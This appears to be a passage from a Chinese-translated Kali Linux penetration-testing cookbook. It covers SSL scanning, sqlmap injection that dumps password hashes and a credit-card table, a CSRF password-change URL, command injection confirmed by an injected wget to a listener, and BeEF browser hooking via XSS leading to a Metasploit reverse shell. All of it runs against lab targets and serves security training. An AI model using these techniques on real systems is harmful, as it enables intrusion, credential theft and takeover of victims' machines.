它是如何工作的…

SSL/TLS 会话通常通过客户端和服务器之间的协商来建立。这些协商会考虑到每方的加密算法偏好，并尝试确定双方都支持的最安全的解决方案。SSLScan 通过循环遍历已知的加密算法和密钥长度列表，并使用每种配置尝试与远程服务器协商会话。这样，SSLScan 可以列出支持的加密算法和密钥。

使用 SSLyze 进行 SSL/TLS 扫描

SSLyze 是 Kali Linux 中的一个集成命令行工具，可以用来评估远程 Web 服务的 SSL/TLS 支持的安全性。在本配方中，我们将讨论如何运行 SSLyze 对 Web 应用进行扫描，以及如何解释和/或处理输出结果。

准备工作

要使用 SSLyze 对目标执行 SSL/TLS 分析，您需要有一个运行着启用 SSL 或 TLS 的 Web 服务的远程系统。在提供的示例中，结合了 Google 和 Metasploitable2 实例来执行此任务。有关设置 Metasploitable2 的更多信息，请参考 第一章 中的 安装 Metasploitable2 配方，入门。

如何操作…

让我们通过运行 SSLyze 对 Web 应用程序进行测试，来解释和操作输出结果：

1. 另一个执行全面扫描并分析目标服务的 SSL/TLS 配置的工具是 SSLyze。要执行 SSLyze 中的大多数基本测试，参数应包括目标服务器和 --regular 参数。这包括测试 SSLv2、SSLv3、TLSv1、重新协商、恢复、证书信息、HTTP GET 响应状态码以及压缩支持，如下所示：

1. 或者，可以仅测试单个版本的 TLS 或 SSL 来列举与该版本相关的支持的密码套件。在以下示例中，使用 SSLyze 列举支持的 TLSv1.2 密码套件，然后使用 grep 命令仅提取 256 位的密码套件：

1. SSLyze 支持的一个非常有用的功能是测试 zlib 压缩。如果启用了该压缩，它与一种信息泄露漏洞直接相关，称为 压缩比信息泄漏使得攻击变得简单（CRIME）。可以通过以下 --compression 参数执行此测试：

它是如何工作的……

SSL/TLS 会话通常通过客户端和服务器之间的协商建立。这些协商会考虑每个端的配置密码套件偏好，并尝试确定双方都支持的最安全的解决方案。SSLyze 通过遍历已知的密码套件和密钥长度列表，并尝试使用每种配置与远程服务器协商会话，从而工作。这使得 SSLyze 能够列举支持的密码套件和密钥。

使用 sqlmap 进行 GET 方法 SQL 注入测试

Web 应用程序经常在提供的 URL 中接受参数。这些参数通常会通过 HTTP GET 方法请求返回给 Web 服务器。如果这些参数值随后被包含在对后端数据库的查询语句中，则可能存在 SQL 注入漏洞。在此配方中，我们将讨论如何使用 sqlmap 命令来自动化测试 HTTP GET 方法请求参数。

准备工作

要使用sqlmap执行针对目标的 SQL 注入，您需要有一个运行着一个或多个易受 SQL 注入攻击的 Web 应用程序的远程系统。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。Metasploitable2 上预装了多个易受攻击的 Web 应用程序，运行在 TCP 端口80上。有关设置 Metasploitable2 的更多信息，请参阅第一章中的安装 Metasploitable2配方，入门指南。

如何操作……

让我们使用sqlmap命令测试 HTTP GET 方法的请求参数：

1. 要使用sqlmap测试 HTTP GET 方法的参数，您需要使用-u参数和要测试的 URL。该 URL 应包含任何 GET 方法的参数。

2. 此外，如果 Web 内容仅对已建立会话可访问，则应使用--cookie参数提供与该会话相对应的 Cookie 值，如下所示：

1. 在提供的示例中，使用了风险值3和级别值5。这些值分别定义了测试的风险性和彻底性。有关风险和级别的详细信息，请参考sqlmap的手册页或help文件。

2. 在运行此测试时，sqlmap快速识别出后台数据库为 MySQL，并跳过了其他测试。如果没有指定操作，sqlmap仅会确定是否有任何测试的参数存在漏洞，如前面的示例所示。

3. 经过一系列的注入尝试后，sqlmap确定id参数存在多种 SQL 注入漏洞。在确认漏洞后，可以在sqlmap中采取措施，开始从后台数据库中提取信息，如下所示：

1. 在提供的示例中，使用了--dbs参数列举了所有可通过 SQL 注入访问的数据库。从名称上看，似乎只有列出的一个数据库直接对应于 DVWA 应用程序。我们可以将后续操作集中在该数据库上。

2. 要提取 DVWA 数据库中所有表的表名，我们可以使用--tables参数指示sqlmap提取表名，然后使用-D参数指定要提取名称的数据库（dvwa），如下所示：

1. 通过这样做，我们可以看到 DVWA 数据库中有两个表。这些表包括guestbook和users。从数据库中的用户表中提取内容通常是值得的，因为这些表通常包含用户名和相关的密码哈希值。

2. 要提取已识别表中的内容，我们可以使用--dump参数，然后使用-D参数指定数据库，使用-T参数指定要提取内容的表，如下所示：

表及其内容的输出如下：

1. 在识别到表中的内容包含密码哈希时，sqlmap会提供使用集成密码破丨解丨器对枚举出的密码哈希执行字典攻击的选项。这可以通过使用内置的词汇表、自定义词汇表或一系列词汇表来完成。

2. 在执行字典攻击后，我们可以看到表中的内容，包括用户 ID、用户名、用户头像图片的位置、MD5 哈希、该哈希的附加明文值以及用户的名字和姓氏。

它是如何工作的……

Sqlmap 通过从大量已知的 SQL 注入查询列表中提交请求来工作。多年来，它已被高度优化，可以根据之前查询的响应智能地修改注入尝试。在 HTTP GET 参数上执行 SQL 注入就像修改通过请求 URL 传递的内容一样简单。

使用 sqlmap 进行 POST 方法 SQL 注入

Sqlmap 是 Kali Linux 中的一款集成命令行工具，能够显著减少手动利用 SQL 注入漏洞所需的工作量，通过自动化整个过程。在本食谱中，我们将讨论如何使用sqlmap命令自动化测试 HTTP POST 方法请求参数。

准备就绪

要使用sqlmap命令对目标执行 SQL 注入攻击，您需要有一个远程系统，该系统运行着一个或多个易受 SQL 注入攻击的 Web 应用程序。在提供的示例中，使用的是 Metasploitable2 实例来执行此任务。Metasploitable2 上安装了多个易受攻击的 Web 应用程序，运行在 TCP 端口80上。有关如何设置 Metasploitable2 的更多信息，请参阅第一章中的安装 Metasploitable2食谱，入门指南。

如何执行……

让我们使用sqlmap命令自动化测试 HTTP POST 方法请求参数：

1. 要对使用 HTTP POST 方法的服务执行 SQL 注入攻击，我们需要使用--data参数定义 POST 参数的字符串。

2. Mutillidae 中的登录应用程序提供了一个登录界面，通过 POST 方法传输用户名和密码。这将是我们 SQL 注入攻击的目标。请看以下示例：

sqlmap的输出已被截断以节省空间，接下来我们可以看到sqlmap输出的继续内容，其中包括发现的漏洞：

1. 如果没有指定任何操作，sqlmap将仅仅确定所测试的参数是否存在漏洞，如前面的示例所示。经过一系列注入尝试，sqlmap已确定用户名 POST 参数容易受到布尔盲注和基于错误的注入技术的攻击。

2. 在确认漏洞后，可以在 sqlmap 中采取相应的操作，开始从后端数据库中提取信息，如下所示：

sqlmap 命令的输出已被截断。在下一个截图中，我们看到了更多命令输出内容，包括可用的数据库：

1. 在提供的示例中，使用了 --dbs 参数来列出所有可通过 SQL 注入访问的数据库。然后，我们可以直接针对特定数据库集中执行后续操作。

2. 要提取 owasp10 数据库中所有表格的表名，我们可以使用 --tables 参数来指示 sqlmap 提取表名，然后使用 -D 参数指定要从中提取表名的数据库（owasp10），如下所示：

sqlmap 命令的输出已被截断。在以下截图中，我们可以看到与 owasp10 数据库相关的表格：

1. 通过这样做，我们可以看到 owasp10 数据库中存在六个表格。这些表格分别是 accounts、blog_table、captured_data、credit_cards、hitlog 和 pen_test_tools。最引人注目的表格名可能是 credit_cards。

2. 要提取已识别表格中的内容，我们可以使用 --dump 参数，然后使用 -D 参数指定数据库，使用 -T 参数指定要提取内容的表格，如下所示：

sqlmap 命令的输出已被截断。在下一个截图中，我们看到 owasp10 数据库中 credit_cards 表格的内容：

工作原理……

sqlmap 命令通过提交来自已知 SQL 注入查询的大量请求来工作。它经过多年优化，能够根据先前查询的响应智能地修改注入尝试。在 HTTP POST 方法的参数上执行 SQL 注入是通过操控附加到 POST 方法请求末尾的数据来实现的。

请求使用 sqlmap 捕获 SQL 注入

为了简化使用 sqlmap 命令的过程，可以使用来自 Burp Suite 的捕获请求，并执行带有所有已定义参数和配置的 sqlmap。在本指南中，我们将讨论如何使用 sqlmap 来测试与提供的请求捕获相关的参数。

正在准备

要使用 sqlmap 执行 SQL 注入攻击，你需要一个远程系统，该系统运行着一个或多个易受 SQL 注入攻击的 Web 应用程序。在所提供的示例中，使用了 Metasploitable2 实例来执行此任务。Metasploitable2 在 TCP 端口 80 上运行着多个预安装的易受攻击的 Web 应用程序。有关设置 Metasploitable2 的更多信息，请参考 第一章 中的 安装 Metasploitable2 章节，入门。

如何操作……

以下步骤将指导你如何借助 sqlmap 命令捕获 SQL 注入攻击：

1. 要使用 sqlmap 进行请求捕获，首先必须将请求保存为文本格式。为此，在 Burp Suite 中右击请求内容，然后选择“复制到文件”。保存后，你可以通过浏览目录并使用 cat 命令来验证文件内容，如下所示：

1. 要使用请求捕获，请使用带有 -r 参数和文件绝对路径值的 sqlmap。这种方法通常大大减少了需要在 sqlmap 命令中提供的信息量，因为大部分原本需要提供的信息已包含在请求中。请查看以下示例：

1. 在所提供的示例中，不需要将 cookie 值传递给 sqlmap，因为 cookie 值已经在捕获的请求中识别出来。当启动 sqlmap 时，捕获中的 cookie 值将自动在所有请求中使用，如下所示：

1. sqlmap 命令能够测试请求捕获中识别到的所有 GET 方法参数。在这里，我们可以看到 id 参数容易受到多种 SQL 注入技术的攻击。

它是如何工作的……

sqlmap 命令能够通过解析请求的内容并识别任何可测试的参数来接受捕获的请求。这使得可以在不需要额外努力转录执行攻击所需的所有参数的情况下启动 sqlmap。

自动化 CSRF 测试

跨站请求伪造（CSRF）是最常被误解的 Web 应用程序漏洞之一。尽管如此，未能正确识别此类漏洞可能对 Web 应用程序及其用户构成严重风险。在本教程中，我们将讨论如何测试 GET 和 POST 方法参数中的 CSRF 漏洞。

准备工作

要对目标进行 CSRF 测试，您需要有一个远程系统，运行一个或多个易受 CSRF 攻击的 Web 应用。在提供的示例中，使用了 Metasploitable2 实例来执行这项任务。Metasploitable2 上预装了多个易受攻击的 Web 应用，运行在 TCP 端口 80 上。有关如何设置 Metasploitable2 的更多信息，请参考 第一章中的 安装 Metasploitable2 配方，入门 部分。

如何操作…

接下来的步骤中，我们将自动化进行 CSRF 测试：

1. CSRF 是一种可以在 GET 和 POST 方法的交易中都存在的漏洞。DVWA 提供了一个很好的 GET 方法 CSRF 漏洞的示例。该应用允许用户通过 GET 方法参数提交新密码两次来更新密码，如下所示：

1. 由于缺乏 CSRF 控制，利用这个漏洞非常容易。如果能够让 Web 应用的用户被诱导访问一个 URL，其中预设了 password_new 和 password_conf 参数的值，那么攻击者就能强制受害者将密码更改为攻击者指定的密码。

2. 以下 URL 就是这个漏洞利用的一个示例。如果受害者点击此链接，他们的密码将被更改为 compromised。

    http://172.16.69.128/dvwa/vulnerabilities/csrf/?
    password_new=compromised&password_conf=compromised&Change=Change#

1. 然而，利用 CSRF 漏洞通常并不像想象中那样简单。这是因为大多数开发者至少会足够关注安全，不会使用 GET 方法参数进行安全交易。一个很好的例子是 Mutillidae 应用程序中的博客功能，它易受 POST 方法 CSRF 攻击，具体如下所示：

1. 在之前的请求中，我们可以看到已认证用户提交的博客条目内容是通过 blog_entry POST 方法参数发送的。为了利用缺乏 CSRF 控制的漏洞，攻击者需要制作一个恶意网页，导致受害者提交所需的参数。以下是一个 POST 方法 CSRF 攻击的示例：

1. 恶意网页使用一个 HTML 表单，返回到易受攻击的服务器，表单中包含多个隐藏的输入字段，这些字段与 Mutillidae 应用程序中提交博客条目请求所需的输入字段相对应。此外，还使用了 JavaScript 来提交表单。所有这些操作将在受害者不进行任何操作的情况下发生。请看以下示例：

1. 要部署这些恶意网页内容，应将其移动到 Web 根目录。在 Kali Linux 中，默认的 Apache Web 根目录是 /var/www/。此外，确保 Apache2 服务正在运行。请查看以下截图：

1. 当一个已验证的受害者访问恶意页面时，受害者会被自动重定向到 Mutillidae 博客应用程序，并提交博客文章《HACKED》。

它是如何工作的…

CSRF（跨站请求伪造）发生的原因是请求最终是由受害者用户的会话发起的。这是一种利用受害者的浏览器与远程 web 服务之间建立的信任的攻击。在 GET 方法的 CSRF 攻击中，受害者被诱使访问一个 URL，该 URL 包含定义恶意交易条款的参数。在 POST 方法的 CSRF 攻击中，受害者被诱使浏览到一个 web 页面，该页面定义的参数随后会通过受害者的浏览器转发到易受攻击的服务器，执行恶意交易。无论哪种情况，交易都会执行，因为请求来自受害者的浏览器，而受害者的浏览器已经与易受攻击的应用程序建立了可信会话。

使用 HTTP 流量验证命令注入漏洞

命令注入可能是所有已知 web 应用程序攻击向量中最危险的。大多数攻击者试图利用漏洞，希望最终能找到在底层操作系统上执行任意命令的方法。命令执行漏洞提供了这种能力，无需额外的步骤。在本配方中，我们将讨论如何使用 web 服务器日志或自定义 web 服务脚本来确认命令执行漏洞。

准备工作

要使用 HTTP 请求确认对目标进行命令注入测试，你需要有一个远程系统，该系统运行着一个或多个易受命令注入攻击的 web 应用程序。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。Metasploitable2 上有多个预安装的易受攻击的 web 应用程序，运行在 TCP 端口 80 上。有关设置 Metasploitable2 的更多信息，请参阅 第一章中的 安装 Metasploitable2 章节，入门。此外，本节还需要编写一个脚本，将其写入文件系统，可以使用像 Vim 或 GNU nano 这样的文本编辑器。有关编写脚本的更多信息，请参阅 第一章中的 使用文本编辑器（Vim 和 GNU nano） 章节，入门。

如何操作…

让我们使用 HTTP 流量验证命令注入漏洞：

1. 可以通过执行一些命令来验证 web 应用程序中的命令注入漏洞，这些命令将迫使后端系统与你拥有的 web 服务器进行交互。

2. 可以轻松检查日志，寻找易受攻击的服务器与其交互的证据。或者，可以编写一个自定义脚本，生成一个临时的 web 服务，监听外部连接并打印收到的请求。以下是一个 Python 脚本示例，它可以执行此操作：

        #!/usr/bin/python

        import socket

        httprecv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        httprecv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        httprecv.bind(("0.0.0.0",8000))
        httprecv.listen(2)

        (client, ( ip,sock)) = httprecv.accept()
        print "Received connection from : ", ip
        data = client.recv(4096)
        print str(data)

        client.close()
        httprecv.close()

1. 一旦脚本执行完毕，我们需要强制目标服务器与监听服务进行交互，以确认命令注入漏洞。DVWA 应用程序有一个 ping 工具，可以用来 ping 提供的 IP 地址。

2. 用户输入会直接传递给系统调用，并且可以被修改以执行底层操作系统中的任意命令。我们可以使用分号将多个命令连接起来，并跟随每个后续命令，如下截图所示：

1. 在提供的示例中，输入被用来 ping 127.0.0.1 并执行对 http://172.16.69.133:8000 的 wget 请求。wget 请求对应的是临时监听的 Python 服务。提交输入后，我们可以通过查看脚本的输出，验证命令是否已经执行，如下所示：

1. 在这里，我们可以看到从目标 Web 服务器接收到了连接，并且用于访问 Web 服务的用户代理是 wget。如果 wget 未安装，curl 命令是另一种可以使用的替代方法。

它是如何工作的…

这个 Python 脚本用于确认命令注入漏洞，因为它证明了命令可以通过来自不同系统的注入有效负载从目标服务器执行。几乎不可能在注入有效负载到服务器的同时执行类似的请求。然而，即使有担心有效负载不是检测到的流量的真正来源，也可以通过多次尝试轻松消除误报的疑虑。

使用 ICMP 流量验证命令注入漏洞

命令注入可能是所有已知的 web 应用攻击向量中最危险的。大多数攻击者都试图利用漏洞，期望最终找到一种在底层操作系统上执行任意命令的方法。命令执行漏洞提供了这一能力，而无需任何额外的步骤。在这个教程中，我们将讨论如何编写自定义脚本来验证使用 ICMP 流量的远程代码执行漏洞。

准备工作

要使用 ICMP 回显请求确认对目标进行命令注入测试，您需要有一个远程系统，该系统运行着一个或多个易受命令注入漏洞的 Web 应用程序。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。Metasploitable2 预安装了多个易受攻击的 Web 应用程序，这些应用程序运行在 TCP 端口80上。有关设置 Metasploitable2 的更多信息，请参阅第一章中的安装 Metasploitable2配方，入门部分。此外，本节将需要使用文本编辑器（如 Vim 或 GNU nano）编写脚本到文件系统中。有关编写脚本的更多信息，请参阅第一章中的使用文本编辑器（Vim 和 GNU nano）配方，入门部分。

如何操作…

在接下来的步骤中，我们将创建一个自定义脚本，通过 ICMP 流量验证远程代码执行漏洞：

1. 通过执行将强制后端系统向监听服务发送 ICMP 流量的命令，可以验证 Web 应用程序中的命令注入漏洞。接收到的 ICMP 回显请求可用于识别易受攻击的系统。以下是一个使用 Scapy 库的 Python 脚本示例，用于执行此操作：

        #!/usr/bin/python

        import logging
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
        from scapy.all import *

        def rules(pkt):
        try:
        if (pkt[IP].dst=="172.16.69.133") and (pkt[ICMP]):
        print str(pkt[IP].src) + " is exploitable"
        except:
        pass

        print "Listening for Incoming ICMP Traffic. Use Ctrl+C
         to stop listening"

        sniff(lfilter=rules,store=0)

1. 在执行完 ICMP 监听器后，我们需要尝试从易受攻击的服务器向我们的监听服务发起 ICMP 回显请求。这可以通过向易受攻击的用户输入中注入ping命令来完成。

2. 在 Mutillidae 中，有一个易受攻击的函数，通过将用户输入传递到直接的系统调用来执行 DNS 枚举。可以通过使用分号将单独的 ping 请求附加到用户输入中，如下图所示：

1. 假设服务器易受命令注入攻击，Python 监听器应该显示 ICMP 回显请求已被接收，并且目标服务器可能存在漏洞，具体如下：

它是如何工作的…

这个 Python 脚本能够确认命令注入漏洞，因为它证明了通过来自不同系统的注入有效载荷，可以从目标服务器执行命令。虽然在注入有效载荷的同时执行类似请求的可能性极低，但即使担心检测到的流量不是由有效载荷引起的，通过多次尝试也可以轻松消除假阳性问题。

第十章：使用 BeEF 攻击浏览器

浏览器利用框架（也称为 BeEF）是一个用于攻击网页浏览器的结构化代码库。BeEF 可以攻击任何浏览器，但操作系统、浏览器类型、设置、插件和版本都会影响它能够执行的攻击。BeEF 作为一个服务器运行；当我们挂钩一个浏览器时，它会连接回 BeEF 服务器。从那里，我们可以对其执行命令。本章将涵盖以下内容：

• 使用 BeEF 挂钩浏览器

• 使用 BeEF 收集信息

• 与 BeEF 建立持久连接

• 将 BeEF 与 Metasploit 集成

• 使用 BeEF 自动规则引擎

使用 BeEF 挂钩浏览器

为了使用 BeEF，我们需要启动它的服务并能够访问它的控制台。此外，为了利用受害者的浏览器，我们需要找到一种方法来挂钩他们的浏览器。攻击受害者浏览器的方法有很多种；在本章中，我们将介绍两种方法：

• 第一个示例展示了我们如何在可以直接编辑的网站上部署脚本。

• 在第二个示例中，我们将利用一个易受 XSS 攻击的网站。通过这种方式，我们可以在没有管理员访问权限的网站上部署我们的脚本。

准备工作

BeEF 已预装在 Kali Linux 中。在提供的示例中，使用 Metasploitable2 实例演示了通过 XSS 挂钩浏览器。有关如何在本地实验环境中设置系统的更多信息，请参考第一章中的安装 Metasploitable2和安装 Windows Server食谱，入门部分。此外，本节还需要使用文本编辑器（如 Vim 或 GNU nano）将脚本写入文件系统。有关如何编写脚本的更多信息，请参阅第一章中的使用文本编辑器（Vim 和 GNU nano）食谱，入门部分。

如何操作…

现在让我们开始并学习如何使用 BeEF 挂钩浏览器：

1. 转到应用程序 | 利用工具 | beEF XSS 框架：

1. 一个终端窗口将打开并启动 BeEF 服务器。当完成后，它将打开一个浏览器并带你进入 BeEF 控制台：

1. 默认的用户名和密码是beef/beef。验证通过后，我们将看到 BeEF 控制台：

1. 接下来，我们需要挂钩浏览器。有很多方法可以实现。我们将在这里演示两种方法：

   • 方法 1：首先，让我们看看如何在我们能够控制的页面中简单地插入一些 JavaScript 代码：

     1. 请注意，在我们启动 BeEF 时打开的终端窗口中，显示了一个示例挂钩的行：

1. 我们看到，通过调用hook.js文件来挂钩浏览器，因此让我们创建一个页面来实现这个功能。我们进入网站根目录并创建一个文件；我们将它命名为beef.html：

1. 现在，我们将创建一个简单的网页，并在 <head> 和 </head> 标签之间嵌入我们的脚本：

1. 现在，当有人访问我们的网页时，它会加载 hook.js 脚本并与我们的 BeEF 服务器建立连接。然而，这不会有任何视觉提示。如果你访问我们的网页，你会看到类似这样的内容：

1. 现在让我们查看 BeEF 控制台，我们将看到已经 hook 了浏览器：

• 方法 2：我们可以采取一些更复杂的方式，在我们不拥有的网站上使用 XSS。我们将使用 Mutillidae。具体来说，我们将利用 Mutillidae 中容易受到 XSS 攻击的“添加到你的博客”功能。

  1. 在这一页，我们将简单地使用之前在网页上使用过的相同脚本。所以，我们进入 add-t0-your-blog.php 页面并输入我们的脚本：

1. 现在让我们导航到我们的博客文章：

1. hook.js 脚本已经在后台加载，并且是持久的。现在，任何访问此博客的人都会被 hook。如果我们查看 BeEF 控制台，我们现在就能看到我们已经 hook 的浏览器：

它是如何工作的…

BeEF 在 Kali Linux 上作为服务器运行。一旦我们启动了 BeEF 并部署了它的 hook，只需等待浏览器访问并加载我们的 hook.js 文件。这样，受害者的浏览器就会连接到我们的 BeEF 服务器。

使用 BeEF 收集信息

一旦我们成功 hook 了浏览器，就可以使用 BeEF 来利用它。本教程将介绍如何使用一些基本的 BeEF 命令来收集信息并利用受害者的浏览器。

准备工作

BeEF 已经预安装在 Kali Linux 上。在所提供的示例中，使用了 Metasploitable2 实例来演示通过 XSS hook 浏览器。有关如何在本地实验环境中设置系统的更多信息，请参考 第一章 中的 安装 Metasploitable2 和 安装 Windows Server 配方，入门 部分。此外，本节还需要使用文本编辑器（如 Vim 或 GNU nano）将脚本写入文件系统。有关如何编写脚本的更多信息，请参考 第一章 中的 使用文本编辑器（Vim 和 GNU nano） 配方，入门 部分。

如何操作…

现在让我们开始学习如何使用 BeEF 收集信息：

1. 回到之前的教程，我们来看看 BeEF 控制台。我们再次看到已经有一个被 hook 的浏览器。BeEF 会立即提供一些关于已 hook 浏览器的信息。在以下示例中，它通过图标告诉我们，浏览器是 Internet Explorer，操作系统是 Microsoft Windows，硬件是虚拟机。此外，它还给出了被 hook 机器浏览器的 IP 地址：

1. 我们可以通过鼠标选择已挂钩的浏览器来获取更多信息。当我们这样做时，会弹出一个新标签页，显示有关已挂钩浏览器的详细信息。我们可以获得浏览器类型、版本、平台的更多细节，甚至是浏览器的分辨率。我们还可以查看浏览器的插件和组件，以及用于挂钩浏览器的页面的信息。

最后，我们获得了一些关于浏览器主机计算机的更多细节：

1. 现在我们可以对受害者的浏览器运行命令了，但在我们操作之前，先查看一下交通灯图标，并了解它们的含义：

1. 你会注意到，当我们展开“命令”标签下的模块树时，每个命令都会有一个对应的交通灯图标。这让我们对可用的命令有了一定了解，同时也能判断执行命令时，用户是否会注意到。以这个示例为例，让我们展开模块树中的 Browser 文件夹：

1. 我们可以看到很多选项，但让我们试一下“获取访问过的 URL”。如果我们点击该命令，我们会看到一个简短的描述和一个文本框，在其中输入我们想查看是否已访问过的 URL。我们先使用默认的 beefproject.com/。点击“执行”后，我们看到命令返回 false：

1. 为了测试这个命令是否有效，我们将修改 URL 的值，使用浏览器已访问过的页面，并查看它返回什么。在这个示例中，我们使用 http://172.16.69.135/beef.html URL。当我们执行此命令时，结果返回 true：

1. 让我们尝试另一个命令。在这个示例中，我们将浏览器重定向到我们选择的 URL。你会看到这个命令旁边的交通灯是橙色的，因为用户显然会注意到他们在执行命令后已被重定向：

1. 对于我们的示例，我将只是将它们重定向到我们托管 beef.html 页面的网站根目录。所以我们会将重定向 URL 修改为 http://172.16.69.135/，然后点击执行按钮。如果我们点击刚刚执行的命令，结果会显示重定向已发生：

1. 返回到我们挂钩的 Windows XP 浏览器上，我们可以看到，确实，浏览器已被重定向到 http://172.16.69.135/：

它是如何工作的……

BeEF 在 Kali Linux 上作为服务器运行。一旦我们启动 BeEF 并部署了其挂钩，它就是等待浏览器访问并加载我们的 hook.js 文件。这样一来，受害的浏览器将连接到我们的 BeEF 服务器。连接后，BeEF 提供了多种功能，允许我们收集关于被攻击目标的信息。

创建与 BeEF 的持久连接

当一个浏览器被 BeEF 挂钩时，默认情况下它只会在停留在感染页面时保持连接。如果用户离开该页面，它将不再与我们的 BeEF 控制台保持连接。在本节中，我们将展示即使用户离开感染页面，如何仍然能够通过 BeEF 保持持久连接。

准备工作

BeEF 已经预装在 Kali Linux 上。在提供的示例中，使用了一个 Metasploitable2 实例来演示通过 XSS 挂钩浏览器的过程。有关如何在本地实验环境中设置系统的更多信息，请参见第一章中的 安装 Metasploitable2 和 安装 Windows Server 配方，入门。此外，本节还需要使用文本编辑器（如 Vim 或 GNU nano）将脚本写入文件系统。有关如何编写脚本的更多信息，请参见第一章中的 使用文本编辑器（Vim 和 GNU nano） 配方，入门。

如何实现…

现在让我们学习如何与 BeEF 创建持久连接：

1. 让我们进入 BeEF 控制台，确认我们是否仍然保持着之前的挂钩浏览器。如果没有，我们可以通过访问页面http://172.16.69.135/beef.html再次挂钩浏览器：

1. 挂钩浏览器很好；然而，一旦用户离开感染它的页面，我们将无法继续保持对该浏览器的控制。它将从“在线浏览器”文件夹中消失，并出现在我们的“离线浏览器”文件夹中，如下图所示：

1. 显然，从我们的角度来看，这并不是理想的。一旦我们成功感染了一个浏览器，理想的情况是即使用户离开了我们感染页面，连接依然能够保持。为了实现这一点，我们导航到“命令”选项卡，并展开“持久性”文件夹。

2. 在这里，我们可以看到一些可用的选项。在这个示例中，我们将使用“创建弹出窗口”命令。此命令将创建一个新的浏览器窗口，并将其隐藏。只要这个窗口保持打开状态，我们就可以维持持久连接：

1. 一旦我们点击“执行”按钮，就可以去查看我们感染的浏览器。在这里，你可以看到在 Windows XP 的任务栏底部，我们现在有两个 Internet Explorer 实例在运行：

1. 现在，如果用户离开了我们的页面，我们仍然可以保持弹出窗口连接，并维持我们的持久性。查看 BeEF 控制台，我们可以看到有一个在线浏览器和一个离线浏览器，它们的 IP 地址是相同的。离线浏览器是已经离开了我们感染页面的浏览器，而在线浏览器则是我们通过“创建弹出窗口”命令实例化的浏览器：

它是如何工作的…

为了保持 BeEF 的持久性，浏览器需要继续使用 hook.js 资源。当用户离开我们感染的页面时，它就不再使用 hook.js，因此我们失去了连接。为了保持持久性，我们可以使用 IFrame 或另一个浏览器窗口来加载我们的 hook.js 文件，从而保持连接。

集成 BeEF 和 Metasploit

我们现在知道，BeEF 是一个非常适合利用浏览器的框架，而 Metasploit 是一个非常适合利用主机的框架。在本配方中，我们将看到如何将 BeEF 和 Metasploit 一起使用。在用 BeEF 劫持浏览器之后，我们将受害者的浏览器重定向到一个可执行文件，该文件创建一个反向 shell。

准备工作

BeEF 已经预装在 Kali Linux 中。在提供的示例中，使用了一个 Metasploitable2 实例来演示通过 XSS 劫持浏览器。有关如何在本地实验环境中设置系统的更多信息，请参考第一章中的安装 Metasploitable2和安装 Windows Server配方，入门部分。此外，本节还需要通过文本编辑器（如 Vim 或 GNU nano）向文件系统写入脚本。有关如何编写脚本的更多信息，请参考第一章中的使用文本编辑器（Vim 和 GNU nano）配方，入门部分。

如何操作…

现在让我们学习如何集成 BeEF 和 Metasploit：

1. 我们将首先创建一个反向 shell 并将其打包成可执行文件。我们知道我们的劫持浏览器是 Microsoft Windows，因此我们将构建一个与受害者平台匹配的可执行文件。我们使用有效载荷 windows/shell/reverse_tcp。然后我们将 LHOST 设置为我们的 Kali 主机的 IP 地址，并将 LPORT 设置为 4444。我们进行一些编码，并将输出文件放在我们的 Web 根目录下，这样我们就可以在准备好时将受害者引导到该文件：

1. 现在我们已经创建了我们的漏洞利用，我们需要设置我们的监听器。我们通过打开 MSF 控制台并输入 use exploit/multi/handler 来完成此操作。然后，我们将有效载荷设置为与 msfvenom 中使用的相同：set payload windows/shell/reverse_tcp。接下来，我们需要将 LHOST 设置为 172.16.69.133，并将 LPORT 设置为 4444。一旦所有选项设置完成，输入 exploit，监听器就会启动：

1. 现在我们回到 BeEF 控制台，并决定如何将用户引导到我们的 shell.exe 文件。我们可以执行重定向或打开新窗口，但在本例中，我们将使用 IFrame。当我们点击该命令时，会弹出一个文本框让我们输入 URL。在这里，我们输入刚刚创建的 shell.exe 文件的路径。在我们的示例中，它是 http://172.16.69.133：

1. 当我们点击 执行 时，受害者的浏览器将收到一个提示，必须决定是否打开或保存文件。当然，用户不必打开我们的文件，如果他们不打开，反向 shell 就不会启动。这仅作为一个示例，但我们可以做很多事情来鼓励用户，让它看起来像他们想要安装的东西。进行攻击时，创造力是关键。现在，假设我们的受害者确实打开了我们的文件：

打开后，会创建一个反向 shell，您可以看到我们获得了 Microsoft Windows 命令提示符。从这里，我们可以做任何被破坏用户在终端中可以做的操作。

它是如何工作的…

BeEF 提供了一个框架，允许我们利用受害者的浏览器。在这个配方中，我们让被利用的浏览器下载一个反向 shell 可执行文件，并将其链接回我们的 Metasploit 主机。

使用 BeEF 自动规则引擎

我们现在已经看到了 BeEF 的一些强大功能。如果我们能自动化其中的一些功能，那该多好？借助 BeEF 自动规则引擎，我们可以做到这一点。例如，能够在浏览器一旦被挂载时，就自动与受害者建立持久连接，将会非常棒。本节将探讨这个问题以及其他一些想法。

准备工作

BeEF 已经预装在 Kali Linux 上。在提供的示例中，使用 Metasploitable2 实例演示通过 XSS 挂载浏览器。有关如何在本地实验环境中设置系统的更多信息，请参阅 第一章中的 安装 Metasploitable2 和 安装 Windows Server 配方，入门。此外，本节需要使用文本编辑器（如 Vim 或 GNU nano）编写脚本到文件系统中。有关如何编写脚本的更多信息，请参阅 第一章中的 使用文本编辑器（Vim 和 GNU nano） 配方，入门。

如何操作…

为了自动化 BeEF，我们将使用 BeEF 的 自动运行规则引擎（ARE）。通过 ARE，我们可以在浏览器被挂载时自动运行命令，前提是它符合我们指定的要求。例如，我们只希望在被挂载的浏览器是 Google Chrome 时，才运行 Google Chrome 的相关命令：

1. BeEF 已经预包装了许多 ARE 规则。在 Kali 中，我们可以通过导航到 /usr/share/beef-xss/arerules/ 目录并查看其内容来查看这些规则，如下图所示：

1. 尽管 BeEF 已经预装了 ARE 命令，但这些命令正在不断更新和增加。要查看最新的 ARE 命令全面列表，我们可以访问 BeEF 项目的 ARE 规则页面：github.com/beefproject/beef/tree/master/arerules。

2. 为了获取最新的规则，我们将下载 BeEF 主存档。我们切换到 /tmp/ 目录并从 github.com/beefproject/beef/archive/master.zip 下载最新的 BeEF 存档。现在，我们可以使用 unzip 命令解压内容：

